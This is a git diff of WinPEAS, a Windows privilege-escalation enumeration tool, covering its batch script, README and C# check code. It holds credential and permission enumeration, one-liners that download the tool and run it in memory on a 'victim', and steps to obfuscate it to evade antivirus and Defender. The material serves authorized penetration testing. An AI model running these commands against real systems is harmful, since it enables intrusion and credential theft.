ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
@@ -404,7 +404,7 @@ CALL :T_Progress 1
|
||||
|
||||
:CurrentClipboard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||
ECHO. [i] Any passwords inside the clipboard?
|
||||
ECHO. [i] Any password inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -435,7 +435,7 @@ ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
@@ -444,7 +444,7 @@ CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -453,7 +453,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
@@ -468,7 +468,7 @@ ECHO.
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -477,7 +477,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -485,14 +485,14 @@ CALL :T_Progress 2
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
@@ -565,7 +565,7 @@ CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -573,7 +573,7 @@ CALL :T_Progress 2
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||

|
||||
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
||||
|
||||
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
||||
|
||||
[](https://youtu.be/66gOwXMnxRI)
|
||||
|
||||
@@ -13,24 +13,22 @@ Check also the **Local Windows Privilege Escalation checklist** from **[book.hac
|
||||
**.Net >= 4.5.2 is required**
|
||||
|
||||
Precompiled binaries:
|
||||
- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation).
|
||||
- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)** or **compile it yourself** (read instructions for compilation).
|
||||
|
||||
```bash
|
||||
# Get latest release
|
||||
$url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
|
||||
#One liner to download and execute winPEASany from memory in a PS shell
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||
|
||||
# One liner to download and execute winPEASany from memory in a PS shell
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||
|
||||
# Before cmd in 3 lines
|
||||
#Before cmd in 3 lines
|
||||
$url = "https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/winPEASany_ofs.exe"
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
# Load from disk in memory and execute:
|
||||
#Load from disk in memory and execute:
|
||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
# Load from disk in base64 and execute
|
||||
#Load from disk in base64 and execute
|
||||
##Generate winpeas in Base64:
|
||||
[Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt
|
||||
##Now upload the B64 string to the victim inside a file or copy it to the clipboard
|
||||
@@ -43,7 +41,7 @@ $thecontent = "aaaaaaaa..." #Where "aaa..." is the winpeas base64 string
|
||||
$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
# Loading from file and executing a winpeas obfuscated version
|
||||
#Loading from file and executing a winpeas obfuscated version
|
||||
##Load obfuscated version
|
||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe")));
|
||||
$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program"
|
||||
@@ -53,7 +51,6 @@ $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions someti
|
||||
## Parameters Examples
|
||||
|
||||
```bash
|
||||
winpeas.exe -h # Get Help
|
||||
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
|
||||
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
|
||||
winpeas.exe notcolor #Do not color the output
|
||||
@@ -65,6 +62,30 @@ winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpea
|
||||
winpeas.exe -lolbas #Execute also additional LOLBAS search check
|
||||
```
|
||||
|
||||
## Help
|
||||
```
|
||||
quiet Do not print banner
|
||||
notcolor Don't use ansi colors (all white)
|
||||
systeminfo Search system information
|
||||
userinfo Search user information
|
||||
processinfo Search processes information
|
||||
servicesinfo Search services information
|
||||
applicationsinfo Search installed applications information
|
||||
networkinfo Search network information
|
||||
windowscreds Search windows credentials
|
||||
browserinfo Search browser information
|
||||
filesinfo Search files that can contains credentials
|
||||
eventsinfo Display interesting events information
|
||||
wait Wait for user input between checks
|
||||
debug Display debugging information - memory usage, method execution time
|
||||
log=[logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
|
||||
|
||||
Additional checks (slower):
|
||||
-lolbas Run additional LOLBAS check
|
||||
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
|
||||
(default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh)
|
||||
```
|
||||
|
||||
## Basic information
|
||||
|
||||
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
|
||||
@@ -82,13 +103,9 @@ REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
|
||||
|
||||
Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective).
|
||||
|
||||

|
||||
|
||||
## Instructions to compile you own obfuscated version
|
||||
|
||||
<details>
|
||||
<summary>Details</summary>
|
||||
|
||||
In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*.
|
||||
|
||||
To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it.
|
||||
@@ -106,9 +123,10 @@ Once you have installed and activated it you need to:
|
||||
|
||||

|
||||
|
||||
**IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:
|
||||

|
||||
</details>
|
||||
|
||||
## Colors
|
||||
|
||||

|
||||
|
||||
## Checks
|
||||
|
||||
@@ -253,9 +271,16 @@ If you find any issue, please report it using **[github issues](https://github.c
|
||||
|
||||
**WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges.
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
## License
|
||||
|
||||
By Polop
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
|
||||
@@ -3,7 +3,4 @@
|
||||
<startup useLegacyV2RuntimeActivationPolicy="true">
|
||||
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
|
||||
<runtime>
|
||||
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
|
||||
</runtime>
|
||||
</configuration>
|
||||
|
||||
@@ -27,8 +27,8 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Current Active Window Application");
|
||||
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
|
||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
if (permsFile.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" " + title);
|
||||
@@ -56,7 +56,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Installed Applications --Via Program Files/Uninstall registry--");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software", "Check if you can modify installed software");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software", "Check if you can modify installed software");
|
||||
SortedDictionary<string, Dictionary<string, string>> installedAppsPerms = InstalledApps.GetInstalledAppsPerms();
|
||||
string format = " ==> {0} ({1})";
|
||||
|
||||
@@ -102,7 +102,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Autorun Applications");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)");
|
||||
List<Dictionary<string, string>> apps = AutoRuns.GetAutoRuns(Checks.CurrentUserSiDs);
|
||||
|
||||
foreach (Dictionary<string, string> app in apps)
|
||||
@@ -183,13 +183,13 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Scheduled Applications --Non Microsoft--");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users scheduled binaries");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users scheduled binaries");
|
||||
List<Dictionary<string, string>> scheduled_apps = ApplicationInfoHelper.GetScheduledAppsNoMicrosoft();
|
||||
|
||||
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
||||
{
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
string formString = " ({0}) {1}: {2}";
|
||||
|
||||
if (fileRights.Count > 0)
|
||||
@@ -233,13 +233,13 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Device Drivers --Non Microsoft--");
|
||||
// this link is not very specific, but its the best on hacktricks
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#vulnerable-drivers", "Check 3rd party drivers for known vulnerabilities/rootkits.");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#vulnerable-drivers", "Check 3rd party drivers for known vulnerabilities/rootkits.");
|
||||
|
||||
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
||||
{
|
||||
string pathDriver = driver.Key;
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
|
||||
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
||||
{
|
||||
|
||||
@@ -21,7 +21,6 @@ namespace winPEAS.Checks
|
||||
public static bool IsDebug = false;
|
||||
public static bool IsLinpeas = false;
|
||||
public static bool IsLolbas = false;
|
||||
public static bool SearchProgramFiles = false;
|
||||
|
||||
// Create Dynamic blacklists
|
||||
public static readonly string CurrentUserName = Environment.UserName;
|
||||
@@ -35,19 +34,15 @@ namespace winPEAS.Checks
|
||||
public static string PaintActiveUsersNoAdministrator = "";
|
||||
public static string PaintDisabledUsers = "";
|
||||
public static string PaintDisabledUsersNoAdministrator = "";
|
||||
public static bool IsLongPath = false;
|
||||
public static bool WarningIsLongPath = false;
|
||||
public static int MaxRegexFileSize = 1000000;
|
||||
//static string paint_lockoutUsers = "";
|
||||
public static string PaintAdminUsers = "";
|
||||
public static YamlConfig YamlConfig;
|
||||
public static YamlRegexConfig RegexesYamlConfig;
|
||||
|
||||
private static List<SystemCheck> _systemChecks;
|
||||
private static readonly HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>();
|
||||
|
||||
// github url for Linpeas.sh
|
||||
public static string LinpeasUrl = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh";
|
||||
public static string LinpeasUrl = "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh";
|
||||
|
||||
public const string DefaultLogFile = "out.txt";
|
||||
|
||||
@@ -85,7 +80,7 @@ namespace winPEAS.Checks
|
||||
new SystemCheck("windowscreds", new WindowsCreds()),
|
||||
new SystemCheck("browserinfo", new BrowserInfo()),
|
||||
new SystemCheck("filesinfo", new FilesInfo()),
|
||||
new SystemCheck("fileanalysis", new FileAnalysis())
|
||||
new SystemCheck("fileAnalysis", new FileAnalysis())
|
||||
};
|
||||
|
||||
var systemCheckAllKeys = new HashSet<string>(_systemChecks.Select(i => i.Key));
|
||||
@@ -157,21 +152,6 @@ namespace winPEAS.Checks
|
||||
IsDomainEnumeration = true;
|
||||
}
|
||||
|
||||
if (string.Equals(arg, "searchpf", StringComparison.CurrentCultureIgnoreCase))
|
||||
{
|
||||
SearchProgramFiles = true;
|
||||
}
|
||||
|
||||
if (string.Equals(arg, "max-regex-file-size", StringComparison.CurrentCultureIgnoreCase))
|
||||
{
|
||||
var parts = arg.Split('=');
|
||||
if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))
|
||||
{
|
||||
MaxRegexFileSize = Int32.Parse(parts[1]);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
|
||||
{
|
||||
IsLolbas = true;
|
||||
@@ -219,8 +199,6 @@ namespace winPEAS.Checks
|
||||
CheckRegANSI();
|
||||
}
|
||||
|
||||
CheckLongPath();
|
||||
|
||||
Beaprint.PrintInit();
|
||||
|
||||
CheckRunner.Run(CreateDynamicLists, IsDebug);
|
||||
@@ -270,22 +248,12 @@ namespace winPEAS.Checks
|
||||
|
||||
try
|
||||
{
|
||||
Beaprint.GrayPrint(" - Loading sensitive_files yaml definitions file...");
|
||||
Beaprint.GrayPrint(" - Loading YAML definitions file...");
|
||||
YamlConfig = YamlConfigHelper.GetWindowsSearchConfig();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint("Error while getting sensitive_files yaml info: " + ex);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Beaprint.GrayPrint(" - Loading regexes yaml definitions file...");
|
||||
RegexesYamlConfig = YamlConfigHelper.GetRegexesSearchConfig();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint("Error while getting regexes yaml info: " + ex);
|
||||
Beaprint.GrayPrint("Error while getting AD info: " + ex);
|
||||
}
|
||||
|
||||
try
|
||||
@@ -363,8 +331,8 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.GrayPrint(" - Creating disabled users list...");
|
||||
PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||
PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -411,7 +379,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
||||
Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -419,24 +387,6 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
private static void CheckLongPath()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
|
||||
{
|
||||
Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
IsLongPath = false;
|
||||
}
|
||||
else
|
||||
IsLongPath = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint("Error while checking LongPathsEnabled registry: " + ex);
|
||||
}
|
||||
}
|
||||
|
||||
private static void WaitInput()
|
||||
{
|
||||
Console.Write("\n -- Press a key to continue... ");
|
||||
|
||||
@@ -1,17 +1,14 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Search;
|
||||
using static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters;
|
||||
|
||||
namespace winPEAS.Checks
|
||||
{
|
||||
|
||||
internal class FileAnalysis : ISystemCheck
|
||||
{
|
||||
private const int ListFileLimit = 70;
|
||||
@@ -22,12 +19,11 @@ namespace winPEAS.Checks
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
PrintYAMLSearchFiles,
|
||||
PrintYAMLRegexesSearchFiles
|
||||
PrintYAMLSearchFiles
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
|
||||
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)
|
||||
private static List<CustomFileInfo> InitializeFileSearch()
|
||||
{
|
||||
var files = new List<CustomFileInfo>();
|
||||
var systemDrive = $"{SearchHelper.SystemDrive}\\";
|
||||
@@ -60,25 +56,17 @@ namespace winPEAS.Checks
|
||||
// files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers
|
||||
files.AddRange(SearchHelper.DocumentsAndSettings);
|
||||
files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here
|
||||
if (useProgramFiles)
|
||||
{
|
||||
files.AddRange(SearchHelper.ProgramFiles);
|
||||
files.AddRange(SearchHelper.ProgramFilesX86);
|
||||
}
|
||||
|
||||
return files;
|
||||
}
|
||||
|
||||
private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)
|
||||
private static bool Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount)
|
||||
{
|
||||
if (Checks.IsDebug)
|
||||
Beaprint.PrintDebugLine($"Searching for {fileName}");
|
||||
|
||||
bool isRegexSearch = fileName.Contains("*");
|
||||
bool isFolder = fileSettings.files != null;
|
||||
string pattern = string.Empty;
|
||||
|
||||
|
||||
if (isRegexSearch)
|
||||
{
|
||||
pattern = GetRegexpFromString(fileName);
|
||||
@@ -86,50 +74,25 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var file in files)
|
||||
{
|
||||
bool isFileFound = false;
|
||||
|
||||
if (isFolder)
|
||||
{
|
||||
if (pattern == string.Empty)
|
||||
{
|
||||
isFileFound = file.FullPath.ToLower().Contains($"\\{fileName}\\");
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (var fold in file.FullPath.Split('\\').Skip(1))
|
||||
{
|
||||
isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase);
|
||||
if (isFileFound) break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (pattern == String.Empty)
|
||||
{
|
||||
isFileFound = file.Filename.ToLower() == fileName.ToLower();
|
||||
}
|
||||
else
|
||||
bool isFileFound;
|
||||
if (isRegexSearch)
|
||||
{
|
||||
isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase);
|
||||
}
|
||||
else
|
||||
{
|
||||
isFileFound = file.Filename.ToLower() == fileName;
|
||||
}
|
||||
|
||||
|
||||
if (isFileFound)
|
||||
{
|
||||
if (!somethingFound)
|
||||
{
|
||||
Beaprint.MainPrint($"Found {searchName} Files");
|
||||
somethingFound = true;
|
||||
}
|
||||
|
||||
if (!isFolder)
|
||||
// there are no inner sections
|
||||
if (fileSettings.files == null)
|
||||
{
|
||||
var isProcessed = ProcessResult(file, fileSettings, ref resultsCount);
|
||||
if (!isProcessed)
|
||||
